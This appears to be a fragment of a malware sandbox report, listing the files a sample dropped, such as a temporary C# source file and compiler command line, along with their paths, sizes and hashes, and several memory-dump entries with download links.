SHA512 5fb526fabad10a6f900f2486b8d7ad5b6ea37bd91887474e90589d8f82f9b21e66f0e885b83f63fbeab3eceba108b2f851fef1765c12cfcab0d880ce9acdeccc
SSDEEP 24576:gFo3DMPfdoO/vvTL/SAffCVQ/buFUbY8kCp9NiBHpqxaZYefc4RGPW1+reP:KHo
TLSH
T1E357A22436F92240F7B79E3CA8F56A234D3A7D5B9C19DE8D05411B4E0821F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{12d1bfa7-53ba-4c85-aba2-7330244d6f1f}_OnDiskSnapshotProp

Path \??\Volume{d1fc2eb0-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{12d1bfa7-53ba-4c85-aba2-7330244d6f1f}_OnDiskSnapshotProp
Size 6KB
SHA256 ef73b2eca31814f8b509450fb0d7b88ae1f9ea658953d44ff326dca3ca96d922
MD5 bab2b616dcbc42f1911f144e35acf8a7
SHA1 59d6075945563268d22f796d2c7f9e3cba1b0132
SHA512 575099c85fbda89a5f60168a56492d013de8fe5243038cc00e4740e1725472451ea6915d04f9d334d1913f26c0d37ff4f461b9e2d90da4d3125ca2884d8ade6f
SSDEEP 96:FHEiftdvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:iGb++uVm
TLSH
T1A0D1790C5AE54711F2B3AB3228F58557A877B911EF33CB8E0198238E2671910F875F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCE2CC314FE3794959BB0816617D5DEF.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ciog5un0\CSCE2CC314FE3794959BB0816617D5DEF.TMP
Size 652B
SHA256 6e0aaf096312e05cb9db6294d57d3a956f6825a01f901b5f1ebe4160a0c6c0c5
MD5 0729b24bb2a3ffd1a84aca3c398761d2
SHA1 ff662443dc74b0855898220a977de806549f2ad6
SHA512 58c615a9fbc8b70dba8366f0b7c751456e9774751efa27c59bddf9adbcdb40e41c6a8eb831892b22da2c76c1694103151b4129ee05e248286518ba68803abe93
TLSH
T113F05E0963F8020EF1F74B30BDF6836395A9BC65DE32A7FD2540135D28649108962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

ciog5un0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ciog5un0\ciog5un0.0.cs
Size 697B
SHA256 91e0a2785d0d60ba0690e436301764dace50113ce818a87edaa46b2897ec87b6
MD5 4a0f728a9646f4a213976d8d851abf93
SHA1 4a9e368395a85f720dbe32da58bd11780d1d51f5
SHA512 6308d0b86a46b2babe24b684a30e8fb2a33fd07f5cc1df89119e4c2c05aa4d3a9b0957f5bcbc14bfd0196e7da84a62c1b2092ed22ac265cfe955e68157f29a12
TLSH
T19601C008574F697C40D75218DAED862DB673613012F5690189E7AE608FCF211C777B2D
MD5 SHA1 SHA512 TLSH

Submit Download

ciog5un0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ciog5un0\ciog5un0.cmdline
Size 369B
SHA256 de53c5d1bc165a2de941be67a1036bc300153f6cdca8350bde96fc58ce165577
MD5 df7338dc40a96f2a1b32913da8a99eef
SHA1 807a5937fa432506fd3c43aa24605a6abfe480ed
SHA512 ef82608f5e3c8e4875c3b48ed99b5fcef22d6077b56d123d61d0c1634b6cad8a9d7578a0ad2aeed72465343e9af1de7839f17ac63904e340e5a0a4bc4e8ae4b5
TLSH
T133E0202B9756CF7D9BDD20073A79C5ACC27207872D827F84995844DDF03701867E1755
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5892-21-0x000001E11FBC0000-0x000001E11FC72000-memory.dmp

Download

memory/5892-25-0x0000000140000000-0x000000014010D000-memory.dmp

Download

memory/5892-24-0x000001E120020000-0x000001E120044000-memory.dmp

Download

memory/5892-23-0x000001E120020000-0x000001E12004A000-memory.dmp

Download

memory/5892-22-0x000001E11FC80000-0x000001E11FC8A000-memory.dmp

Download

memory/5892-38-0x000001E120330000-0x000001E120338000-memory.dmp

Download

memory/5892-39-0x0000000140000000-0x000000014010D000-memory.dmp

Download

memory/5892-40-0x000001E120730000-0x000001E120732000-memory.dmp

Download

memory/5892-52-0x000001E1201E0000-0x000001E12025A000-memory.dmp

Download

memory/5892-57-0x0000000140000000-0x000000014010D000-memory.dmp

Download

memory/5892-20-0x000001E11FBA0000-0x000001E11FBBE000-memory.dmp

Download

memory/5892-15-0x000001E107850000-0x000001E107872000-memory.dmp

Download